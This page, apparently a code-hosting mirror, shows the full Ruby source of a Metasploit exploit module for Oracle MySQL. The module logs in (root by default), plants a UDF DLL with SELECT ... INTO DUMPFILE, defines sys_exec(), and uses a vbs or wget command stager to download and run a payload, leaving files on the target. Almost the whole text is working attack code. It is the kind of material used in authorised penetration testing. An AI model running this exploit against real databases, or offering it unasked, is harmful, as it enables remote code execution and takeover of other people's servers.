Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/mysql/mysql_udf_payload.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78include Msf::Exploit::Remote::MYSQL9include Msf::Exploit::CmdStager10include Msf::OptionalSession::MySQL1112def initialize(info = {})13super(14update_info(15info,16'Name' => 'Oracle MySQL UDF Payload Execution',17'Description' => %q{18This module creates and enables a custom UDF (user defined function) on the19target host via the SELECT ... into DUMPFILE method of binary injection. On20default Microsoft Windows installations of MySQL (=< 5.5.9), directory write21permissions not enforced, and the MySQL service runs as LocalSystem.2223NOTE: This module will leave a payload executable on the target system when the24attack is finished, as well as the UDF DLL, and will define or redefine sys_eval()25and sys_exec() functions.26},27'Author' =>28[29'Bernardo Damele A. G. <bernardo.damele[at]gmail.com>', # the lib_mysqludf_sys.dll binaries30'todb', # this Metasploit module31'h00die' # linux addition32],33'License' => MSF_LICENSE,34'References' =>35[36# Bernardo's work with cmd exec via udf37[ 'URL', 'http://bernardodamele.blogspot.com/2009/01/command-execution-with-mysql-udf.html' ]38],39'Platform' => ['win', 'linux'],40'Targets' =>41[42[ 'Windows', {'CmdStagerFlavor' => 'vbs'} ], # Confirmed on MySQL 4.1.22, 5.5.9, and 5.1.56 (64bit)43[ 'Linux', {'CmdStagerFlavor' => 'wget' } ]44],45'DefaultTarget' => 0,46'DisclosureDate' => '2009-01-16' # Date of Bernardo's blog post.47))48register_options(49[50OptBool.new('FORCE_UDF_UPLOAD', [ false, 'Always attempt to install a sys_exec() mysql.function.', false ]),51OptString.new('USERNAME', [ false, 'The username to authenticate as', 'root' ])52])53end5455def post_auth?56true57end5859def username60datastore['USERNAME']61end6263def password64datastore['PASSWORD']65end6667def login_and_get_sys_exec68# If we have a session make use of it69if session70print_status("Using existing session #{session.sid}")71self.mysql_conn = session.client72else73# otherwise fallback to attempting to login74m = mysql_login(username,password,'mysql')75return unless m76end7778@mysql_arch = mysql_get_arch79@mysql_sys_exec_available = mysql_check_for_sys_exec()80if !@mysql_sys_exec_available || datastore['FORCE_UDF_UPLOAD']81mysql_add_sys_exec82@mysql_sys_exec_available = mysql_check_for_sys_exec()83else84print_status "sys_exec() already available, using that (override with FORCE_UDF_UPLOAD)."85end8687return m88end8990def execute_command(cmd, opts)91mysql_sys_exec(cmd, datastore['VERBOSE'])92end9394def exploit95m = login_and_get_sys_exec()9697if not m98return99elsif not [:win32,:win64,:linux64,:linux32].include?(@mysql_arch)100print_status("Incompatible MySQL target architecture: '#{@mysql_arch}'")101return102else103if @mysql_sys_exec_available104execute_cmdstager({:linemax => 1500, :nodelete => true})105handler106else107print_status("MySQL function sys_exec() not available")108return109end110end111disconnect112end113end114115116